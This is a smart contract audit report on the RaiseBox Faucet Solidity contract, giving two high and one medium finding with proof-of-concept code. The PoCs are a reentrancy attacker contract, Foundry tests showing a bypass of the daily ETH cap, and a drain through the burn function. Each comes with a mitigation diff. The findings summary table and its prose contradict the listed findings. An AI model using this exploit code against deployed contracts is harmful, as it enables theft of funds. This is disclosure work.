VOLODYMYR STETSENKO

Independent Security Researcher

Raisebox Faucet

Security Review

Assessment Period: 09–16 October 2025

Advancing smart contract security through rigorous analysis

Security Review Overview

0	2	1	0	0	0
Critical	High	Medium	Low	Informational	Gas

Assessment Period:	**October 09–16, 2025**
Report Date:	**December 27, 2025**
Report Version:	**1.0**
Reviewed Commit:	`- // -`
Assessment Methods:	Manual Review, Static Analysis Tools

Contents

About Volodymyr Stetsenko

Volodymyr Stetsenko is an independent security researcher focused on:

- **Core Focus:** Manual auditing, automated and static analysis, property-based / fuzz testing, and formal verification of EVM-based protocols.
- **Approach:** Rigorous code review, reasoning about protocol assumptions, and identifying high-impact logic, economic, and architectural weaknesses.
- **Professional Development:** Continuous learning, public audit practice, and transparent documentation of methods.

My workflow combines manual inspection with tool-driven techniques, including static analyzers (e.g., Slither), fuzzers and property-based testing (e.g., Echidna, Foundry fuzzing), symbolic checks, invariant assertions, and formal verification where appropriate to ensure comprehensive coverage of functional and economic risk vectors.

While no one can guarantee 100% security, I commit to giving the audited protocol my full attention, thorough analysis, and maximum effort to uncover risks and strengthen its design.

Volodymyr Stetsenko

Independent Security Researcher

volodymyrstetsenkoaudit@gmail.com

Volodymyr Stetsenko

Volodymyr Stetsenko

Volodymyr Stetsenko

Disclaimer

Important Notice

Volodymyr Stetsenko makes all reasonable efforts to identify vulnerabilities within the reviewed code during the specified period, but holds no liability for the findings presented in this document. A security audit does not constitute an endorsement of the underlying business, product, or protocol.

A smart contract security review **cannot verify the complete absence of vulnerabilities**. This is a time, resource, and expertise-bound effort. **No guarantee of 100% security** is provided, regardless of whether any issues were identified.

The audit was **time-boxed** and focused solely on the security aspects of the Solidity implementation within the defined scope. This report is provided **"AS IS"** without warranty of any kind.

Recommended post-audit measures: subsequent independent reviews, bug bounty programs, on-chain monitoring, and formal verification of critical invariants.

Scope Limitations

Unless explicitly stated, the following areas are **outside the scope** of this security assessment:

- Business logic beyond security implications
- Economic model and tokenomics analysis
- Frontend/backend application security
- Third-party integrations and dependencies
- Deployment scripts and infrastructure
- Future code changes and upgrades

Risk Classification

Severity Matrix

	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Matrix illustrates risk levels combining likelihood and impact.

- **High** — results in a significant loss of protocol assets or severely impacts a large user group.
- **Medium** — results in a moderate loss of protocol assets or moderately impacts users.
- **Low** — results in minor asset loss or affects a small group of users.

- **High** — attack is feasible under reasonable assumptions on-chain, with relatively low cost versus potential loss.
- **Medium** — attack is possible under specific conditions and incentives.
- **Low** — attack requires unlikely assumptions, high cost, or offers little incentive.

About Protocol

RaiseBox Faucet is a token drip faucet that drips 1000 test tokens to users every 3 days. It also drips 0.005 sepolia eth to first time users. The faucet tokens will be useful for testing the testnet of a future protocol that would only allow interactions using this tokens.

Roles and Responsibilities

1. Owner

- **Responsibilities:**
  - Deploying the contract.
  - Minting the initial supply and any additional tokens in the future.
  - Burning tokens as required.
  - Adjusting the daily claim limit.
  - Refilling the Sepolia ETH balance of the contract.
- **Limitations:** Cannot claim faucet tokens.

2. Claimer

- **Responsibilities:** Can claim tokens by interacting with the `claimFaucetTokens` function.
- **Limitations:** Does not possess any administrative or owner-defined privileges.

3. Donators

- **Responsibilities:** Can donate Sepolia ETH directly to the contract to maintain its liquidity.

Executive Summary

A time-boxed security review of the **Raisebox-faucet** repository was conducted by **Volodymyr Stetsenko**, under limited and predefined engagement time constraints, during which the smart contract implementation was reviewed. A total of [3] issues were identified.

5.1 Audit Overview

Attribute	Details
Protocol	Raisebox Faucet
Auditor	Volodymyr Stetsenko
Solidity Version	0.8.18
Review Period	October 9–16, 2025
Commit Hash	`-//-`

5.2 Scope

Contract	Path	nSLOC
`RaiseBoxFaucet.sol`	`src/RaiseBoxFaucet.sol`	∼157
	Total	**∼157**

5.3 Findings Summary

Severity	Open	Mitigated	Resolved	Total
Critical	0	0	0	**0**
High	2	0	0	**2**
Medium	0	0	0	**1**
Low	0	0	0	**0**
Informational	1	0	0	**0**
Total	**3**	**0**	**0**	**3**

This table summarizes all findings identified during the assessment, categorized by severity and remediation status. At the time of report finalization, two high-severity issues and one informational finding remain open. No critical, medium, or low-severity issues were identified.

Status definitions:

- **Open**: Issue has not been addressed at the time of reporting.
- **Mitigated**: Risk has been partially reduced through compensating controls.
- **Resolved**: Issue has been fully remediated and verified.

Findings

6.1 High Severity

HIGH

[H-1] Reentrancy in `claimFaucetTokens()` allows bypassing cooldown and claiming tokens multiple times

Severity: HIGH Status: Open

Location: `RaiseBoxFaucet.sol`

Description

The `claimFaucetTokens()` function violates the Checks-Effects-Interactions (CEI) pattern by performing an external ETH transfer before updating `lastClaimTime`. This allows a malicious contract to re-enter the function during the transfer, bypass the cooldown check, and claim tokens multiple times within a single transaction.

Impact

An attacker can repeatedly invoke `claimFaucetTokens()` within a single transaction, bypassing the intended cooldown mechanism. This allows multiple token claims before the `lastClaimTime` is updated. As a result, the faucet's rate-limiting guarantees are effectively broken, enabling rapid depletion of the faucet balance and preventing fair access for legitimate users.

Proof of Concept

The following attacker contract demonstrates how `claimFaucetTokens()` can be re-entered during the ETH transfer, allowing multiple claims within a single transaction.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

contract AttackerContract {
    RaiseBoxFaucet public faucet;
    uint256 public attackCount;
```

```
7
8       constructor(address _faucet) {
9           faucet = RaiseBoxFaucet(_faucet);
10      }
11
12      // This function is triggered when contract receives ETH
13      receive() external payable {
14          // Re-enter on first call only (avoid infinite loop)
15          if (attackCount == 0) {
16              attackCount++;
17              faucet.claimFaucetTokens(); // REENTRANCY ATTACK
18          }
19      }
20
21      // Start the attack
22      function attack() external {
23          attackCount = 0;
24          faucet.claimFaucetTokens();
25      }
26  }
```

Recommended Mitigation

Use OpenZeppelin ReentrancyGuard modifier

```
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {

- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
        // existing code remains the same
    }
}
```

HIGH

[H-2] `dailyDrips` reset in `else` block bypasses `dailySepEthCap` allowing unlimited ETH withdrawal

Severity: HIGH Status: Open

Location: `RaiseBoxFaucet.sol`

Description

In `claimFaucetTokens()`, when `!hasClaimedEth[claimer] && !sepEthDripsPaused` evaluates to false, execution enters the else block and resets `dailyDrips = 0`. This allows any previous claimer to reset the per-day ETH counter, enabling new users to claim ETH again within the same day, effectively bypassing the daily cap and breaking the faucet's intended rate-limiting.

Impact

High: Trivially triggerable by any address that has claimed in the past (only a 3-day cooldown required).

Proof of Concept

Add the following test to `RaiseBoxFaucet.t.sol` file:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";

contract DailyDripsResetTest is Test {
    // -------------------- Constants --------------------
    uint256 constant FAUCET_DRIP = 1000 ether;
    uint256 constant SEP_ETH_PER_USER = 0.01 ether; // first-time drip
    uint256 constant DAILY_CAP = 0.02 ether; // 2 drips/day
    uint256 constant SEED_ETH = 10 ether;

    // -------------------- Actors ------------------------
    address oldUser = address(0xA11CE); // previously-claimed address
    address newUser1 = address(0xBEEF); // morning
    address newUser2 = address(0xCAFE); // morning
    address newUser3 = address(0xD00D); // morning "third" (should get no
        ETH before reset)
    address lateUser = address(0xF00D); // evening user (should get ETH
        after reset)

    RaiseBoxFaucet faucet;

    // -------------------- Setup -------------------------
    function setUp() public {
        faucet = new RaiseBoxFaucet("RB", "RB", FAUCET_DRIP,
            SEP_ETH_PER_USER, DAILY_CAP);
```

```
26          vm.deal(address(faucet), SEED_ETH);
27
28          // Make oldUser a first-time claimer 4 days ago (so
                hasClaimedEth[oldUser] = true)
29          vm.warp(4 days); // start timeline
30          vm.prank(oldUser);
31          faucet.claimFaucetTokens(); // consumes 0.01 ETH once
32
33          // Assert initial ETH effect: 10 - 0.01 = 9.99
34          assertEq(address(faucet).balance, SEED_ETH - SEP_ETH_PER_USER, "seed
                - first-time drip");
35      }
36
37      // -------------------- Helpers ----------------------
38      function _expectDripped(address claimer) internal {
39          // Only check indexed topic (claimer). We skip data (string amount)
                to avoid tight coupling.
40          vm.expectEmit(true, false, false, false);
41          emit SepEthDripped(claimer, SEP_ETH_PER_USER);
42      }
43
44      function _expectSkipped(address claimer) internal {
45          // Only check indexed topic (claimer). We skip data (string reason).
46          vm.expectEmit(true, false, false, false);
47          emit SepEthDripSkipped(claimer, "");
48      }
49
50      // Mirror faucet events (needed for expectEmit)
51      event SepEthDripped(address indexed claimant, uint256 amount);
52      event SepEthDripSkipped(address indexed claimant, string reason);
53
54      // -------------------- Test -------------------------
55      function test_DailyEthCap_BypassViaElseReset() public {
56          // Move to Day N morning; pass 3-day cooldown for everyone
57          vm.warp(block.timestamp + 3 days + 1 hours);
58
59          uint256 beforeMorning = address(faucet).balance;
60
61          // Morning: two new users legitimately consume the daily cap (0.02
                total)
62          _expectDripped(newUser1);
63          vm.prank(newUser1);
64          faucet.claimFaucetTokens();
65
66          _expectDripped(newUser2);
67          vm.prank(newUser2);
68          faucet.claimFaucetTokens();
69
70          // Balance after 2 first-time drips today: -0.02
71          assertEq(address(faucet).balance, beforeMorning - 2 *
                SEP_ETH_PER_USER, "cap consumed by 2 users");
72
73          // A third new user the same day should NOT receive ETH (cap reached)
74          uint256 beforeThird = address(faucet).balance;
75          _expectSkipped(newUser3);
```

```
        vm.prank(newUser3);
        faucet.claimFaucetTokens();
        assertEq(address(faucet).balance, beforeThird, "no ETH for 3rd new user before reset");

        // Noon: oldUser (not first-time anymore) triggers the buggy else-branch -> dailyDrips = 0
        // This call itself should NOT drip ETH (already claimed in the past), but it resets the counter.
        uint256 beforeReset = address(faucet).balance;
        vm.prank(oldUser);
        faucet.claimFaucetTokens();
        assertEq(address(faucet).balance, beforeReset, "oldUser gets no ETH, only resets counter");

        // Evening: another brand-new user should now receive ETH AGAIN the same day (cap bypassed)
        _expectDripped(lateUser);
        vm.prank(lateUser);
        faucet.claimFaucetTokens();

        // Check cumulative ETH effect:
        // Initial after setUp: 10 - 0.01 = 9.99
        // Morning 2 users: -0.02 => 9.97
        // Third user: 0 change => 9.97
        // oldUser reset: 0 change => 9.97
        // Evening lateUser: -0.01 => 9.96
        assertEq(address(faucet).balance, SEED_ETH - (SEP_ETH_PER_USER + 2*SEP_ETH_PER_USER + 0 + 0 + SEP_ETH_PER_USER), "bypass visible");
        // i.e., 10 - 0.04 = 9.96
    }
}
```

Recommended Mitigation

```
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
    uint256 currentDay = block.timestamp / 24 hours;

    if (currentDay > lastDripDay) {
        lastDripDay = currentDay;
        dailyDrips = 0;
    }

    if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap
        && address(this).balance >= sepEthAmountToDrip)
    {
        hasClaimedEth[faucetClaimer] = true;
        dailyDrips += sepEthAmountToDrip;

        (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
        if (!success) revert RaiseBoxFaucet_EthTransferFailed();
    } else {
        emit SepEthDripSkipped(
```

```
            faucetClaimer,
            address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH"
                : "Daily ETH cap reached"
        );
    }
-} else {
- // this resets the daily counter for non-first-time claimers / paused state
- dailyDrips = 0;
 }
```

6.2 Medium

MEDIUM

[M-1] `burnFaucetTokens()` sends full faucet balance to owner instead of burning specified amount

Severity: MEDIUM Status: Open

Location: `RaiseBoxFaucet.sol` Function: `burnFaucetTokens`

Description

A faucet "burn" should reduce supply by exactly `amountToBurn` from the faucet's holdings, leaving the remaining faucet balance intact for user claims (or transfer exactly `amountToBurn` to the burner first, then burn).

Impact

- **Funds at risk**: faucet reserves can be drained in a single call
- **Service disruption**: `claimFaucetTokens` reverts after drain, preventing users from claiming

Proof of Concept

Add the following test to `test/BurnFaucetTokensDrain.t.sol` file:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";

contract BurnFaucetTokensDrainTest is Test {
    // ======== Constants (must align with contract) ========
    string constant NAME = "RaiseBox";
    string constant SYMBOL = "RBOX";
    uint256 constant FAUCET_DRIP = 100 ether;
    uint256 constant SEP_ETH_DRIP = 0.01 ether;
    uint256 constant DAILY_SEP_ETH_CAP = 1 ether;

    // From RaiseBoxFaucet: INITIAL_SUPPLY = 1_000_000_000 * 1e18
    uint256 constant INITIAL_SUPPLY = 1_000_000_000 ether;

    // Test burn scenarios
    uint256 constant SMALL_BURN = 1_000 ether;
    uint256 constant MEDIUM_BURN = 1_000_000 ether;

    // ======== State ========
    RaiseBoxFaucet faucet;
```

```
    address owner;
    address user;

    // ======== Setup ========
    function setUp() public {
        faucet = new RaiseBoxFaucet(
            NAME,
            SYMBOL,
            FAUCET_DRIP,
            SEP_ETH_DRIP,
            DAILY_SEP_ETH_CAP
        );
        owner = address(this); // test contract is the owner (Ownable(msg.sender))
        user = makeAddr("user"); // valid EOA-like address via forge-std helper

        // Sanity checks
        assertEq(
            faucet.balanceOf(address(faucet)),
            INITIAL_SUPPLY,
            "faucet initial balance mismatch"
        );
        assertEq(faucet.balanceOf(owner), 0, "owner should start with zero");
        assertEq(faucet.totalSupply(), INITIAL_SUPPLY, "totalSupply mismatch");
        assertEq(faucet.getOwner(), owner, "owner mismatch");
    }

    // ======== Snapshot helpers ========
    struct BurnState {
        uint256 faucetBalance;
        uint256 ownerBalance;
        uint256 totalSupply;
    }

    function _snap() internal view returns (BurnState memory s) {
        s.faucetBalance = faucet.balanceOf(address(faucet));
        s.ownerBalance = faucet.balanceOf(owner);
        s.totalSupply = faucet.totalSupply();
    }

    // ======== Core PoC ========

    /// @notice Small burn drains entire faucet and enriches owner.
    function test_SmallBurn_DrainsFaucet() public {
        BurnState memory before_ = _snap();
        assertGt(
            before_.faucetBalance,
            SMALL_BURN,
            "precondition: faucet > amountToBurn"
        );

        faucet.burnFaucetTokens(SMALL_BURN);

```

```
        uint256 faucetAfter = faucet.balanceOf(address(faucet));
        uint256 ownerAfter = faucet.balanceOf(owner);
        uint256 supplyAfter = faucet.totalSupply();

        // Faucet fully drained (BUG)
        assertEq(
            faucetAfter,
            0,
            "BUG: faucet should not be zero after a normal burn"
        );

        // Owner receives windfall (BUG)
        assertEq(
            ownerAfter,
            before_.faucetBalance - SMALL_BURN,
            "BUG: owner windfall mismatch"
        );

        // totalSupply looks correct (masks the bug)
        assertEq(
            supplyAfter,
            before_.totalSupply - SMALL_BURN,
            "supply must drop by amountToBurn"
        );
    }

    /// @notice Burning 1 wei drains the entire faucet.
    function test_BurnOneWei_DrainsAll() public {
        BurnState memory before_ = _snap();

        faucet.burnFaucetTokens(1);

        assertEq(
            faucet.balanceOf(address(faucet)),
            0,
            "BUG: 1 wei burn drained the faucet"
        );
        assertEq(
            faucet.balanceOf(owner),
            before_.faucetBalance - 1,
            "BUG: owner took faucetBalance - 1"
        );
    }

    /// @notice After drain, claim becomes non-functional.
    function test_AfterDrain_ClaimIsNonFunctional() public {
        // Drain first
        faucet.burnFaucetTokens(SMALL_BURN);

        // Prepare claim environment
        vm.deal(address(faucet), 1 ether); // give faucet some ETH for drips
            (not essential here)
        vm.warp(block.timestamp + 4 days); // pass cooldown
        vm.prank(user);
        // Expect revert due to insufficient token balance in faucet
```

```
130         vm.expectRevert(
131             RaiseBoxFaucet.RaiseBoxFaucet_InsufficientContractBalance.selector
132         );
133         faucet.claimFaucetTokens();
134 
135         assertEq(faucet.balanceOf(address(faucet)), 0, "faucet remains
                empty");
136     }
137 
138     /// @notice Edge: burning the entire balance leaves no windfall (all
            gets burned).
139     function test_BurnEntireBalance_EdgeCase() public {
140         uint256 bal = faucet.balanceOf(address(faucet));
141         faucet.burnFaucetTokens(bal);
142 
143         assertEq(faucet.balanceOf(address(faucet)), 0, "faucet empty");
144         assertEq(
145             faucet.balanceOf(owner),
146             0,
147             "owner gets nothing in this edge case"
148         );
149         assertEq(faucet.totalSupply(), 0, "entire supply burned");
150     }
151 
152     /// @notice Edge: burning more than balance reverts.
153     function test_BurnMoreThanBalance_Reverts() public {
154         uint256 bal = faucet.balanceOf(address(faucet));
155         vm.expectRevert("Faucet Token Balance: Insufficient");
156         faucet.burnFaucetTokens(bal + 1);
157     }
158 
159     /// @notice Only owner can call burn.
160     function test_OnlyOwner_CanBurn() public {
161         address attacker = makeAddr("attacker");
162         vm.prank(attacker);
163         // For OZ v5 Ownable, this is the precise custom error; otherwise use
                vm.expectRevert();
164         vm.expectRevert(
165             abi.encodeWithSignature(
166                 "OwnableUnauthorizedAccount(address)",
167                 attacker
168             )
169         );
170         faucet.burnFaucetTokens(SMALL_BURN);
171     }
172 
173     /// @notice Fuzz: any valid amount drains the faucet.
174     function testFuzz_AnyAmount_DrainsFaucet(uint256 amount) public {
175         uint256 bal = faucet.balanceOf(address(faucet));
176         amount = bound(amount, 1, bal);
177 
178         BurnState memory before_ = _snap();
179         faucet.burnFaucetTokens(amount);
180 
181         assertEq(faucet.balanceOf(address(faucet)), 0, "faucet always
```

```
            drained");
        assertEq(
            faucet.balanceOf(owner),
            before_.faucetBalance - amount,
            "owner always gets windfall"
        );
    }
}
```

Recommended Mitigation

```
- function burnFaucetTokens(uint256 amountToBurn) public onlyOwner {
- require(amountToBurn <= balanceOf(address(this)), "Faucet Token Balance:
    Insufficient");
- // transfer faucet balance to owner first before burning
- _transfer(address(this), msg.sender, balanceOf(address(this)));
- _burn(msg.sender, amountToBurn);
- }
+ function burnFaucetTokens(uint256 amount) public onlyOwner {
+ uint256 bal = balanceOf(address(this));
+ require(amount <= bal, "Faucet Token Balance: Insufficient");
+ % Burn directly from faucet reserves to avoid any pre-transfer windfall
+ _burn(address(this), amount);
+ }
```

Volodymyr Stetsenko

Independent Security Researcher

volodymyrstetsenkoaudit@gmail.com

Volodymyr Stetsenko

Volodymyr Stetsenko

Volodymyr Stetsenko

Securing the future of decentralized finance
